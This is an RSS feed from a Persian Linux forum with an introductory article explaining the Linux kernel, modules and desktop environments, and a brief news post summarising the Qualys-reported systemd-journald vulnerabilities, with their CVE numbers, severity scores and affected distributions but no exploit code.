<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[باشگاه کاربران روماک - لینوکس]]></title>
		<link>https://forum.romaak.ir/</link>
		<description><![CDATA[باشگاه کاربران روماک - https://forum.romaak.ir]]></description>
		<pubDate>Thu, 04 Jun 2026 12:25:34 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[لینوکس چیست؟]]></title>
			<link>https://forum.romaak.ir/showthread.php?tid=6742</link>
			<pubDate>Sun, 06 Oct 2019 13:55:25 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.romaak.ir/member.php?action=profile&uid=1653">Mahantara9</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.romaak.ir/showthread.php?tid=6742</guid>
			<description><![CDATA[لینوکس چیست؟ برای افراد مختلف این سوال‌ جواب‌های گوناگونی دارد. شخصی آن را هسته سیستم عامل می‌داند و طرفداران GNU از آن به عنوان بخشی از GNU/Linux یاد می‌کنند و شاید شبیه به کاربران جدید فکر کنید لینوکس در واقع نام دیگری برای اوبونتو است! با زومیت همراه باشید تا لینوکس را مفصل برای شما توضیح دهیم.<br />
زیتون<br />
<br />
راستش را بخواهید دیدگاه بسیاری از کاربران درباره لینوکس درست است. به صورت واضح‌تر کلمه "Linux" زمانی که تنها به کار برده شود تنها به هسته سیستم عامل اطلاق می‌شود، در حالی که GNU/Linux در واقع کل سیستم عامل است که شامل هسته لینوکس و ابزار گنو می‌شود.<br />
<br />
اگر شما مجموعه‌ای از نرم‌افزار‌ها را در کنار برخی از ابزار‌ها قرار دهید که بتوان همه آن‌ها را با یکدیگر مدیریت کرد، اکنون شما یک توزیع مانند اوبونتو دارید.<br />
<br />
تعداد زیادی اجزاهای نرم‌افزاری مخصوص وجود دارند که می‌توانند در کنار یکدیگر سیستم عاملی مانند لینوکس را بسازند. البته که این اجزاهای نرم‌افزاری مخصوص باید در کنار یکدیگر سازگاری داشته باشند تا نتیجه صحیح و کارآمد بدست آید.<br />
<br />
linux<br />
سیستم عامل چیست؟ توزیع چیست؟<br />
<br />
سیستم عامل را می‌توان به عنوان نرم‌افزاری که می‌تواند امکان اجرای اپلیکیشن‌ها بر روی سخت افزار را فعال کند تعریف کرد. سیستم عامل از چندین لایه مختلف تشکیل شده است. در مرکز این لایه‌ها هسته قرار دارد که با درایور‌های خود می‌تواند در ارتباط مستقیم با سخت افزار قرار گیرد و به دیگر نرم‌افزار‌ها نیز اجازه استفاده از سخت‌افزار را بدهد.<br />
مقاله مرتبط:<br />
<br />
    انقلاب در سیستم عامل، داستان ظهور گنو/لینوکس<br />
    معماری ARM چیست؟ چه تفاوتی با x86 اینتل دارد؟ <br />
<br />
در لایه‌های بالایی هسته بخشی وجود دارد که مدیریت دستگاه‌های ورودی (مانند فلش، هارد درایو و...)، شبکه‌ها، صدا و ویدیو‌ها را انجام می‌دهد. احتمالا بسیاری از ما دوست داریم بدانیم که در آن هسته چه اتفاق‌هایی در حال رخ دادن است. اگر کمی به ترکیب دو کلمه «توزیع + لینوکس» توجه کنیم، مشخص است که این نام را در کنار هم به یک نسخه از سیستم عامل برپایه لینوکس با نرم‌افزاری‌های مخصوص به خود اشاره می‌کند.<br />
<br />
در ابتدا، فقط فایل‌ها و راهی برای نصب و استفاده از آن‌ها روی کامپیوتر نیاز بود. پس از آن توزیع‌های مختلف لینوکس به مدیریت پکیج‌ها، ابزار‌های بروزرسانی و تنظیمات رابط کاربری گرافیکی مجهز شدند. در لایه زیری پوسته هر توزیع همچنان همگی از هسته لینوکس استفاده می‌کنند.<br />
<br />
هسته لینوکس چیست؟<br />
<br />
لینوکس هسته یا همان قلب سیستم شما است، اما از چه چیز‌هایی تشکیل شده است؟ هسته رابط نرم‌افزاری برای سخت‌افزار کامپیوتر است. هسته با پردازشگر مرکزی (CPU)، حافظه و دیگر اجزای پشتی نرم‌افزار‌های در حال اجرای کامپیوتر ارتباط برقرار می‌کند. در واقع هسته پایین‌ترین مرحله از اجزای نرم‌افزای سیستم است که البته از اهمیت بسیار بالایی نیز برخوردار است. اهمیت کرنل به قدری بالاست که اگر مشکلی برای آن پیش آید، هر قطعه نرم‌افزاری در حال اجرای روی کامپیوتر نیز دچار مشکل خواهد شد.<br />
<br />
هسته لینوکس، یک هسته‌ی یک پارچه است که همه سرویس‌های اصلی سیستم عامل را درون خود اجرا می‌کند. مدل جایگزین این هسته، میکروکرنل است که بسیاری از کار‌ها را فرآیند‌های خارجی انجام می‌دهند و هسته تنها کمی بیشتر از هماهنگی‌ها را انجام می‌دهد.<br />
<br />
در حالی که هسته‌های یکپارچه در روزهای ابتدایی که کاربران برای سخت‌افزار خود هسته را کامپایل می‌کردند، بسیار خوب عمل می‌کردند اما این روزها ترکیب‌های زیادی از سخت‌افزار‌ها وجود دارد که ساخت آن‌ها به درون یک هسته نتیجه‌ای جز ساخت یک فایل عظیم ندارد.<br />
<br />
linux<br />
ماژول های کرنل، برتری لینوکس<br />
<br />
کرنل لینوکس ماژولار است، به این صورت که عملکرد‌های اصلی در فایل کرنل هستند، در حالی که درایور‌های اختصاری به صورت ماژول‌های جداگانه در مسیر /lib/modules ساخته می‌شوند.<br />
<br />
برای مثال، کرنل اوبونتو نسخه ۶۴ بیتی تنها ۵ مگابایت اندازه دارد، در حالی که ۳۷۰۰ ماژول دیگر هستند که می‌توانند بیشتر از ۱۰۰ مگابایت حجم داشته باشند. با توجه به این که تنها بخشی از این ماژول‌ها برای هر دستگاه مورد نیاز است، بنابراین استفاده از همه آن‌ها در کنار کرنل اصلی اشتباه محض است.<br />
<br />
به جای اینکه کرنل بخواهد از همه ماژول‌های خود استفاده کند، با شناسایی سخت‌افزار می‌تواند در استفاده یا لود کردن ماژول‌های مرتبط تنها بخش‌های مورد نیاز را به درون حافظه کرنل وارد کند. در این شرایط کرنل همچنان می‌تواند با دسترسی به هزاران فایل دیگر از طریق ماژول‌ها یکپارچه باقی بماند. این ویژگی زمانی اهمیت زیادی پیدا می‌کند که سیستم می‌تواند وابسته به تغییرات سخت‌افزاری عکس العمل مناسب و صحیح را نشان دهد.<br />
<br />
برای مثال حافظه USB خود را به سیستم متصل کنید تا ماژول Usb-Storage در کنار فایل سیستم مورد نیاز برای مونت کردن آن لود شود. به همین شکل، دانگل 3G را به دستگاه وصل کنید تا درایور‌های مودم لود شوند. به همین خاطر است که به ندرت نصب درایور‌های جدید در زمان اضافه شدن سخت‌افزار نیاز می‌شود. در واقع همه ماژول‌ها منتظر شما هستند تا سخت‌افزار یا لوازم جانبی دیگری را خریداری کنید تا زمینه را برای استفاده از آن فراهم کنند.<br />
<br />
کامپیوتر‌هایی مانند سرور‌ها که با سخت‌افزار‌هایی مخصوص و تغییر ناپذیر کار می‌کنند، معمولا از هسته‌ای با تمام درایور‌های مورد نیاز برخوردارند و لود کردن ماژول‌های مختلف در آن‌ها غیرفعال است. این مورد باعث می‌شود که مقدار کمی به امنیت دستگاه اضافه شود.<br />
<br />
اگر می‌خواهید کرنل خود را کامپایل کنید، یک نکته لازم و خوب، استفاده از درایور‌هایی است که سخت‌افزار دائما قرار است از آن استفاده کند. برای مثال می‌توان به رابط شبکه و فایل سیستم دیسک سخت و ماژول‌هایی برای موارد دیگر اشاره کرد که در صورت همراه با کرنل و استفاده همیشگی می‌توانند به امنیت دستگاه نیز کمک کنند.<br />
<br />
بسیاری از ماژول‌ها در واقع درایور‌های سخت‌افزاری هستند و به عنوان یکی از نقاط قوت لینوکس در سال‌های اخیر شناخته می‌شود. با این ماژول‌های کرنل‌ که بسیار زیاد هم هستند، نیازی به دانلود و نصب درایور‌ها از جاهای مختلف نخواهید داشت. البته هنوز سخت‌افزار‌هایی هستند که با ماژول‌های کرنل لینوکس پشتیبانی نمی‌شوند که دلیل آن کد‌های جدید یا مجوز‌های لازم است تا اینکه بتواند به عنوان بخشی از کرنل قرار گیرد. بهترین مثال برای سخت‌افزار‌هایی که هنوز به عنوان ماژول‌ کرنل کار خود را شروع نکرده می‌توان به کارت‌های گرافیکی انویدیا اشاره کرد. کارت‌های گرافیکی که به عنوان ماژول‌های طرف سوم شناخته می‌شوند همچنین در اوبونتو به عنوان «درایور‌های محدود شده» شناخته می‌شوند. ماژول‌های طرف سوم از طریق مدیریت پکیج‌ها در صورتی که توزیع از آن پشتیبانی کند، قابل نصب هستند.<br />
<br />
در غیر این صورت، فایل‌ها باید از طریق منابع کامپایل شوند و به دلیل اینکه با کاربر ارتباط نزدیکی پیدا می‌کنند، باید هر بار پس از بروزرسانی کرنل دوباره کامپایل شوند. خوشبختانه ابزار‌هایی مانند DKMS یا «پشتیبانی پویا ماژول‌های کرنل» به صورت خودکار تمام ماژول‌های طرف سوم را پس از نصب کرنل جدید دوباره کامپایل می‌کند تا فرآیند ارتقای هسته شبیه به ارتقای یک اپلیکیشن ساده باشد.<br />
<br />
شاید دو عبارت «فضای کرنل» و «فضای کاربر» را شنیده باشید. فضای کرنل در واقع حافظه‌ای است که تنها کرنل به آن دسترسی دارد و هیچ برنامه‌ای از کاربر نمی‌تواند در اینجا نوشته شود. به همین دلیل است که برنامه‌های کاربران نمی‌تواند عملیات‌ کرنل را دچار مشکل کند.<br />
<br />
فضای کاربر توسط بسیاری از برنامه‌ها دسترس‌پذیر است. یکی از برتری‌ها یا نقاط متمایز لینوکس نیز به دلیل همین پایداری و امنیتی است که توانسته کرنل را دور از دسترس برنامه‌های مختلف و حتی برنامه‌هایی که می‌توانند به ریشه دسترسی داشته باشند، نگه دارد.<br />
<br />
اگر کرنل را به عنوان پایین‌ترین مرحله از سیستم در نظر بگیریم، بالاترین مرحله آن را رابط کاربری تشکیل می‌دهد. هر چیز دیگری، از کرنل تا رابط‌های ظاهر سخت‌افزار و درایور‌ها تا قبل از اینکه از کامپیوتر خود استفاده کنید، قابلیت استفاده ندارند.<br />
<br />
gnome<br />
<br />
رابط کاربری می‌تواند تعامل با تک تک اجزای مختلف سیستم را امکان پذیر کند و این کار با مدیریت پنجره‌ها در لینوکس انجام می‌شود. در گذشته مدیریت پنجره‌ها، سیستم‌هایی مستقل بودند که البته هنوز تعدادی از آن‌ها مانند OpenBox یا Enlightenment وجود دارند، اما مدیر پنجره‌ها حالا به عنوان بخشی از یک محیط دسکتاپ بزرگ‌تر شناخته می‌شوند. مدیر پنجره مسئول مدیریت پنجره‌های روی دسکتاپ است. وظایف مدیر پنجره شامل باز کردن، بستن، محل قرارگیری و دیگر مواردی که می‌توان روی پنجره‌ها انجام داد.<br />
<br />
ode<br />
<br />
در گذر زمان رابط‌های کاربری رشد کرده‌اند و علاوه بر مدیریت پنجره، ویژگی‌های دیگری مانند نوار وظیفه یا منوی لانچر برنامه‌ها توانسته‌اند محیط دسکتاپ را بسازند.<br />
<br />
linux<br />
مجموعه‌های نرم‌افزاری<br />
مقاله مرتبط:<br />
<br />
    همه چیز درباره‌ مهاجرت از ویندوز به لینوکس <br />
<br />
محیط دسکتاپ در واقع مجموعه‌ای از ابزار‌هایی است که می‌توانند ویژگی‌های لازم برای اجرای یک دسکتاپ کامل را دربرگیرند. اجرای برنامه‌ها، دستکاری پنجره‌ها، ارتباط با هر برنامه و فعال یا غیرفعال کردن آن‌ها از جمله مواردی است که یک دسکتاپ را تشکیل می‌دهند. قلب تمام ابزار‌هایی که محیط دسکتاپ را می‌سازند، مدیر پنجره قلب تمام تمام ابزارهایی است که محیط دسکتاپ را می‌سازند. برای مثال می‌توان به مدیر پنجره KWin برای KDE و Metacity برای گنوم اشاره کرد.<br />
<br />
<br />
دیدن لینک ها برای شما امکان پذیر نیست. لطفا <a href="https://forum.romaak.ir/member.php?action=register">ثبت نام کنید</a> یا <a href="https://forum.romaak.ir/member.php?action=login">وارد حساب خود شوید</a> تا بتوانید لینک ها را ببینید.<br />
<br />
دیدن لینک ها برای شما امکان پذیر نیست. لطفا <a href="https://forum.romaak.ir/member.php?action=register">ثبت نام کنید</a> یا <a href="https://forum.romaak.ir/member.php?action=login">وارد حساب خود شوید</a> تا بتوانید لینک ها را ببینید.<br />
<br />
دیدن لینک ها برای شما امکان پذیر نیست. لطفا <a href="https://forum.romaak.ir/member.php?action=register">ثبت نام کنید</a> یا <a href="https://forum.romaak.ir/member.php?action=login">وارد حساب خود شوید</a> تا بتوانید لینک ها را ببینید.<br />
<br />
دیدن لینک ها برای شما امکان پذیر نیست. لطفا <a href="https://forum.romaak.ir/member.php?action=register">ثبت نام کنید</a> یا <a href="https://forum.romaak.ir/member.php?action=login">وارد حساب خود شوید</a> تا بتوانید لینک ها را ببینید.<br />
<br />
<br />
چیزی که می‌تواند محیط دسکتاپ را از مدیر پنجره‌ها جدا کند مرحله ادغام و هماهنگی آن‌ها است. مدیر پنجره محیط KDE بسیار مشهور است، جایی که هر چیزی حول محور یک هسته حرکت می‌کند و برنامه‌ها نه تنها می‌توانند با یکدگیر ارتباط برقرار کنند، بلکه یک برنامه می‌تواند درون یک پنجره دیگر نیز قرار گیرد.]]></description>
			<content:encoded><![CDATA[لینوکس چیست؟ برای افراد مختلف این سوال‌ جواب‌های گوناگونی دارد. شخصی آن را هسته سیستم عامل می‌داند و طرفداران GNU از آن به عنوان بخشی از GNU/Linux یاد می‌کنند و شاید شبیه به کاربران جدید فکر کنید لینوکس در واقع نام دیگری برای اوبونتو است! با زومیت همراه باشید تا لینوکس را مفصل برای شما توضیح دهیم.<br />
زیتون<br />
<br />
راستش را بخواهید دیدگاه بسیاری از کاربران درباره لینوکس درست است. به صورت واضح‌تر کلمه "Linux" زمانی که تنها به کار برده شود تنها به هسته سیستم عامل اطلاق می‌شود، در حالی که GNU/Linux در واقع کل سیستم عامل است که شامل هسته لینوکس و ابزار گنو می‌شود.<br />
<br />
اگر شما مجموعه‌ای از نرم‌افزار‌ها را در کنار برخی از ابزار‌ها قرار دهید که بتوان همه آن‌ها را با یکدیگر مدیریت کرد، اکنون شما یک توزیع مانند اوبونتو دارید.<br />
<br />
تعداد زیادی اجزاهای نرم‌افزاری مخصوص وجود دارند که می‌توانند در کنار یکدیگر سیستم عاملی مانند لینوکس را بسازند. البته که این اجزاهای نرم‌افزاری مخصوص باید در کنار یکدیگر سازگاری داشته باشند تا نتیجه صحیح و کارآمد بدست آید.<br />
<br />
linux<br />
سیستم عامل چیست؟ توزیع چیست؟<br />
<br />
سیستم عامل را می‌توان به عنوان نرم‌افزاری که می‌تواند امکان اجرای اپلیکیشن‌ها بر روی سخت افزار را فعال کند تعریف کرد. سیستم عامل از چندین لایه مختلف تشکیل شده است. در مرکز این لایه‌ها هسته قرار دارد که با درایور‌های خود می‌تواند در ارتباط مستقیم با سخت افزار قرار گیرد و به دیگر نرم‌افزار‌ها نیز اجازه استفاده از سخت‌افزار را بدهد.<br />
مقاله مرتبط:<br />
<br />
    انقلاب در سیستم عامل، داستان ظهور گنو/لینوکس<br />
    معماری ARM چیست؟ چه تفاوتی با x86 اینتل دارد؟ <br />
<br />
در لایه‌های بالایی هسته بخشی وجود دارد که مدیریت دستگاه‌های ورودی (مانند فلش، هارد درایو و...)، شبکه‌ها، صدا و ویدیو‌ها را انجام می‌دهد. احتمالا بسیاری از ما دوست داریم بدانیم که در آن هسته چه اتفاق‌هایی در حال رخ دادن است. اگر کمی به ترکیب دو کلمه «توزیع + لینوکس» توجه کنیم، مشخص است که این نام را در کنار هم به یک نسخه از سیستم عامل برپایه لینوکس با نرم‌افزاری‌های مخصوص به خود اشاره می‌کند.<br />
<br />
در ابتدا، فقط فایل‌ها و راهی برای نصب و استفاده از آن‌ها روی کامپیوتر نیاز بود. پس از آن توزیع‌های مختلف لینوکس به مدیریت پکیج‌ها، ابزار‌های بروزرسانی و تنظیمات رابط کاربری گرافیکی مجهز شدند. در لایه زیری پوسته هر توزیع همچنان همگی از هسته لینوکس استفاده می‌کنند.<br />
<br />
هسته لینوکس چیست؟<br />
<br />
لینوکس هسته یا همان قلب سیستم شما است، اما از چه چیز‌هایی تشکیل شده است؟ هسته رابط نرم‌افزاری برای سخت‌افزار کامپیوتر است. هسته با پردازشگر مرکزی (CPU)، حافظه و دیگر اجزای پشتی نرم‌افزار‌های در حال اجرای کامپیوتر ارتباط برقرار می‌کند. در واقع هسته پایین‌ترین مرحله از اجزای نرم‌افزای سیستم است که البته از اهمیت بسیار بالایی نیز برخوردار است. اهمیت کرنل به قدری بالاست که اگر مشکلی برای آن پیش آید، هر قطعه نرم‌افزاری در حال اجرای روی کامپیوتر نیز دچار مشکل خواهد شد.<br />
<br />
هسته لینوکس، یک هسته‌ی یک پارچه است که همه سرویس‌های اصلی سیستم عامل را درون خود اجرا می‌کند. مدل جایگزین این هسته، میکروکرنل است که بسیاری از کار‌ها را فرآیند‌های خارجی انجام می‌دهند و هسته تنها کمی بیشتر از هماهنگی‌ها را انجام می‌دهد.<br />
<br />
در حالی که هسته‌های یکپارچه در روزهای ابتدایی که کاربران برای سخت‌افزار خود هسته را کامپایل می‌کردند، بسیار خوب عمل می‌کردند اما این روزها ترکیب‌های زیادی از سخت‌افزار‌ها وجود دارد که ساخت آن‌ها به درون یک هسته نتیجه‌ای جز ساخت یک فایل عظیم ندارد.<br />
<br />
linux<br />
ماژول های کرنل، برتری لینوکس<br />
<br />
کرنل لینوکس ماژولار است، به این صورت که عملکرد‌های اصلی در فایل کرنل هستند، در حالی که درایور‌های اختصاری به صورت ماژول‌های جداگانه در مسیر /lib/modules ساخته می‌شوند.<br />
<br />
برای مثال، کرنل اوبونتو نسخه ۶۴ بیتی تنها ۵ مگابایت اندازه دارد، در حالی که ۳۷۰۰ ماژول دیگر هستند که می‌توانند بیشتر از ۱۰۰ مگابایت حجم داشته باشند. با توجه به این که تنها بخشی از این ماژول‌ها برای هر دستگاه مورد نیاز است، بنابراین استفاده از همه آن‌ها در کنار کرنل اصلی اشتباه محض است.<br />
<br />
به جای اینکه کرنل بخواهد از همه ماژول‌های خود استفاده کند، با شناسایی سخت‌افزار می‌تواند در استفاده یا لود کردن ماژول‌های مرتبط تنها بخش‌های مورد نیاز را به درون حافظه کرنل وارد کند. در این شرایط کرنل همچنان می‌تواند با دسترسی به هزاران فایل دیگر از طریق ماژول‌ها یکپارچه باقی بماند. این ویژگی زمانی اهمیت زیادی پیدا می‌کند که سیستم می‌تواند وابسته به تغییرات سخت‌افزاری عکس العمل مناسب و صحیح را نشان دهد.<br />
<br />
برای مثال حافظه USB خود را به سیستم متصل کنید تا ماژول Usb-Storage در کنار فایل سیستم مورد نیاز برای مونت کردن آن لود شود. به همین شکل، دانگل 3G را به دستگاه وصل کنید تا درایور‌های مودم لود شوند. به همین خاطر است که به ندرت نصب درایور‌های جدید در زمان اضافه شدن سخت‌افزار نیاز می‌شود. در واقع همه ماژول‌ها منتظر شما هستند تا سخت‌افزار یا لوازم جانبی دیگری را خریداری کنید تا زمینه را برای استفاده از آن فراهم کنند.<br />
<br />
کامپیوتر‌هایی مانند سرور‌ها که با سخت‌افزار‌هایی مخصوص و تغییر ناپذیر کار می‌کنند، معمولا از هسته‌ای با تمام درایور‌های مورد نیاز برخوردارند و لود کردن ماژول‌های مختلف در آن‌ها غیرفعال است. این مورد باعث می‌شود که مقدار کمی به امنیت دستگاه اضافه شود.<br />
<br />
اگر می‌خواهید کرنل خود را کامپایل کنید، یک نکته لازم و خوب، استفاده از درایور‌هایی است که سخت‌افزار دائما قرار است از آن استفاده کند. برای مثال می‌توان به رابط شبکه و فایل سیستم دیسک سخت و ماژول‌هایی برای موارد دیگر اشاره کرد که در صورت همراه با کرنل و استفاده همیشگی می‌توانند به امنیت دستگاه نیز کمک کنند.<br />
<br />
بسیاری از ماژول‌ها در واقع درایور‌های سخت‌افزاری هستند و به عنوان یکی از نقاط قوت لینوکس در سال‌های اخیر شناخته می‌شود. با این ماژول‌های کرنل‌ که بسیار زیاد هم هستند، نیازی به دانلود و نصب درایور‌ها از جاهای مختلف نخواهید داشت. البته هنوز سخت‌افزار‌هایی هستند که با ماژول‌های کرنل لینوکس پشتیبانی نمی‌شوند که دلیل آن کد‌های جدید یا مجوز‌های لازم است تا اینکه بتواند به عنوان بخشی از کرنل قرار گیرد. بهترین مثال برای سخت‌افزار‌هایی که هنوز به عنوان ماژول‌ کرنل کار خود را شروع نکرده می‌توان به کارت‌های گرافیکی انویدیا اشاره کرد. کارت‌های گرافیکی که به عنوان ماژول‌های طرف سوم شناخته می‌شوند همچنین در اوبونتو به عنوان «درایور‌های محدود شده» شناخته می‌شوند. ماژول‌های طرف سوم از طریق مدیریت پکیج‌ها در صورتی که توزیع از آن پشتیبانی کند، قابل نصب هستند.<br />
<br />
در غیر این صورت، فایل‌ها باید از طریق منابع کامپایل شوند و به دلیل اینکه با کاربر ارتباط نزدیکی پیدا می‌کنند، باید هر بار پس از بروزرسانی کرنل دوباره کامپایل شوند. خوشبختانه ابزار‌هایی مانند DKMS یا «پشتیبانی پویا ماژول‌های کرنل» به صورت خودکار تمام ماژول‌های طرف سوم را پس از نصب کرنل جدید دوباره کامپایل می‌کند تا فرآیند ارتقای هسته شبیه به ارتقای یک اپلیکیشن ساده باشد.<br />
<br />
شاید دو عبارت «فضای کرنل» و «فضای کاربر» را شنیده باشید. فضای کرنل در واقع حافظه‌ای است که تنها کرنل به آن دسترسی دارد و هیچ برنامه‌ای از کاربر نمی‌تواند در اینجا نوشته شود. به همین دلیل است که برنامه‌های کاربران نمی‌تواند عملیات‌ کرنل را دچار مشکل کند.<br />
<br />
فضای کاربر توسط بسیاری از برنامه‌ها دسترس‌پذیر است. یکی از برتری‌ها یا نقاط متمایز لینوکس نیز به دلیل همین پایداری و امنیتی است که توانسته کرنل را دور از دسترس برنامه‌های مختلف و حتی برنامه‌هایی که می‌توانند به ریشه دسترسی داشته باشند، نگه دارد.<br />
<br />
اگر کرنل را به عنوان پایین‌ترین مرحله از سیستم در نظر بگیریم، بالاترین مرحله آن را رابط کاربری تشکیل می‌دهد. هر چیز دیگری، از کرنل تا رابط‌های ظاهر سخت‌افزار و درایور‌ها تا قبل از اینکه از کامپیوتر خود استفاده کنید، قابلیت استفاده ندارند.<br />
<br />
gnome<br />
<br />
رابط کاربری می‌تواند تعامل با تک تک اجزای مختلف سیستم را امکان پذیر کند و این کار با مدیریت پنجره‌ها در لینوکس انجام می‌شود. در گذشته مدیریت پنجره‌ها، سیستم‌هایی مستقل بودند که البته هنوز تعدادی از آن‌ها مانند OpenBox یا Enlightenment وجود دارند، اما مدیر پنجره‌ها حالا به عنوان بخشی از یک محیط دسکتاپ بزرگ‌تر شناخته می‌شوند. مدیر پنجره مسئول مدیریت پنجره‌های روی دسکتاپ است. وظایف مدیر پنجره شامل باز کردن، بستن، محل قرارگیری و دیگر مواردی که می‌توان روی پنجره‌ها انجام داد.<br />
<br />
ode<br />
<br />
در گذر زمان رابط‌های کاربری رشد کرده‌اند و علاوه بر مدیریت پنجره، ویژگی‌های دیگری مانند نوار وظیفه یا منوی لانچر برنامه‌ها توانسته‌اند محیط دسکتاپ را بسازند.<br />
<br />
linux<br />
مجموعه‌های نرم‌افزاری<br />
مقاله مرتبط:<br />
<br />
    همه چیز درباره‌ مهاجرت از ویندوز به لینوکس <br />
<br />
محیط دسکتاپ در واقع مجموعه‌ای از ابزار‌هایی است که می‌توانند ویژگی‌های لازم برای اجرای یک دسکتاپ کامل را دربرگیرند. اجرای برنامه‌ها، دستکاری پنجره‌ها، ارتباط با هر برنامه و فعال یا غیرفعال کردن آن‌ها از جمله مواردی است که یک دسکتاپ را تشکیل می‌دهند. قلب تمام ابزار‌هایی که محیط دسکتاپ را می‌سازند، مدیر پنجره قلب تمام تمام ابزارهایی است که محیط دسکتاپ را می‌سازند. برای مثال می‌توان به مدیر پنجره KWin برای KDE و Metacity برای گنوم اشاره کرد.<br />
<br />
<br />
دیدن لینک ها برای شما امکان پذیر نیست. لطفا <a href="https://forum.romaak.ir/member.php?action=register">ثبت نام کنید</a> یا <a href="https://forum.romaak.ir/member.php?action=login">وارد حساب خود شوید</a> تا بتوانید لینک ها را ببینید.<br />
<br />
دیدن لینک ها برای شما امکان پذیر نیست. لطفا <a href="https://forum.romaak.ir/member.php?action=register">ثبت نام کنید</a> یا <a href="https://forum.romaak.ir/member.php?action=login">وارد حساب خود شوید</a> تا بتوانید لینک ها را ببینید.<br />
<br />
دیدن لینک ها برای شما امکان پذیر نیست. لطفا <a href="https://forum.romaak.ir/member.php?action=register">ثبت نام کنید</a> یا <a href="https://forum.romaak.ir/member.php?action=login">وارد حساب خود شوید</a> تا بتوانید لینک ها را ببینید.<br />
<br />
دیدن لینک ها برای شما امکان پذیر نیست. لطفا <a href="https://forum.romaak.ir/member.php?action=register">ثبت نام کنید</a> یا <a href="https://forum.romaak.ir/member.php?action=login">وارد حساب خود شوید</a> تا بتوانید لینک ها را ببینید.<br />
<br />
<br />
چیزی که می‌تواند محیط دسکتاپ را از مدیر پنجره‌ها جدا کند مرحله ادغام و هماهنگی آن‌ها است. مدیر پنجره محیط KDE بسیار مشهور است، جایی که هر چیزی حول محور یک هسته حرکت می‌کند و برنامه‌ها نه تنها می‌توانند با یکدگیر ارتباط برقرار کنند، بلکه یک برنامه می‌تواند درون یک پنجره دیگر نیز قرار گیرد.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[آسیب پذیری تخریب حافظه در کامپوننتی مربوط به هسته لینوکس]]></title>
			<link>https://forum.romaak.ir/showthread.php?tid=6261</link>
			<pubDate>Mon, 21 Jan 2019 06:28:49 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.romaak.ir/member.php?action=profile&uid=34">mesterweb</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.romaak.ir/showthread.php?tid=6261</guid>
			<description><![CDATA[<div style="text-align: justify;" class="mycode_align">محققان امنیت سایبری سه آسیب‌پذیری خطرناک در بخشی از سرویس سیستمی Systemd را کشف کرده‌اند که جزو کامپوننت‌های هسته‌ی سیستم‌عامل لینوکس است. این سرویس وظیفه‌ی مدیریت فرایندهای سیستمی بعد از اجرای مرحله‌ی Boot را برعهده دارد. آسیب‌پذیری گزارش‌شده بر سرویس Journald که وظیفه‌ی جمع‌آوری و ذخیره‌ی داده‌های ثبت رخداد را برعهده دارد، باعث می‌شود با اکسپلویت موفقیت‌آمیز، دسترسی سطح Root در ماشین هدف و درکنار آن، اطلاعات حساس سیستمی دراختیار نفوذگر قرار گیرد. تاکنون هیچ وصله‌ای برای این آسیب‌پذیری ارائه نشده است.<br />
<br />
بنابر اعلام شرکت Qualys، ازجمله شرکت‌های فعال در حوزه‌ی امنیت سایبری، دو آسیب‌پذیری تخریب حافظه را شناسایی کرده: اولی با شناسه‌ی CVE-2018-16864 از نوع Stack Buffer Overflow و دومی با شناسه‌ی CVE-2018-16865 از نوع Memory Allocation. همچنین، این شرکت آسیب‌پذیری Out-of-Bounds Error با شناسه‌ی CVE-2018-16866 را در هسته‌ی لینوکس یافته است. Qualys در ادامه اعلام کرده امکان اکسپلویت موفقیت‌آمیز آسیب‌پذیری‌های دوم و سوم ممکن است و می‌توان روی ماشین‌های x86 و x64 دسترسی Local Root Shell را از سیستم قربانی به‌دست آورد. اکسپلویت روی ماشین 32 بیتی سریع‌تر جواب می‌دهد و زمان پاسخ‌گویی آن حدود دَه دقیقه است؛، درحالی‌که روی ماشین 64 بیتی زمان پاسخگویی حدود هفتاد دقیقه است. همچنین Qualys بیان کرده به‌زودی اکسپلویت، PoC را برای این آسیب‌پذیری‌ها منتشر می‌کند؛ اما توضیحات بیشتر درباره‌ی چگونگی اکسپلویت‌شدن آن‌ها را اعلام نخواهد کرد.</div>
<br />
<div style="text-align: justify;" class="mycode_align">باتوجه‌به اطلاعات موجود، مشخص است سرویس سیستمی Systemd تمامی توزیع‌های لینوکسی آسیب‌پذیر است؛ اما توزیع‌های SUSE Linux Enterprise 15 و openSUSE Leap 15 و Fedora 28&amp;29 به‌دلیل کامپایل‌شدن بخش فضای کاربری (User Space) به‌وسیله‌ی کامپایلر GCC و استفاده از قابلیت امنیتی محافظت از حافظه به‌وسیله‌ی ساختار حفاظتی fStack Clash Protection در هنگام کامپایل‌کردن، امکان اکسپلویت‌شدن در آن‌ها مقدور نیست. هر سه آسیب‌پذیری منتشرشده بدون داشتن تعامل با کاربر، امکان اکسپلویت‌شدن را دارند که یکی از آ‌ن‌ها به‌صورت Local امکان اکسپلویت‌شدن را دارد و بقیه امکان اکسپلویت‌شدن ازطریق شبکه را دارد. این آسیب‌پذیری‌ها از زمانی‌ امکان اکسپلویت شدن داشته‌اند که Systemd نسخه‌های v201 و v230 داشته است.<br />
<br />
شایان ذکر است فقط آسیب‌پذیری CVE-2018-16866 که از نوع Information Leak است، در نسخه‌ی به‌روزرسانی‌شده‌ی systemd v240-1 رفع شده است. همچنین، RedHat این آسیب‌پذیری‌ها را در سطح Important گزارش کرده و امتیاز بالای ۷.۴ و ۷.۵ را به آن‌ها داده و آسیب‌پذیری OOB را در سطح Moderate و با امتیاز ۴.۳ معرفی کرده است. توزیع Red Hat Enterprise Linux 7 هر سه آسیب‌پذیری را دارد؛ اما توزیع RedHat Virtualization 4 فقط دو آسیب‌پذیری تخریب حافظه را دارد و آسیب‌پذیری OOB در آن وجود نخواهد داشت.<br />
<br />
<br />
</div>]]></description>
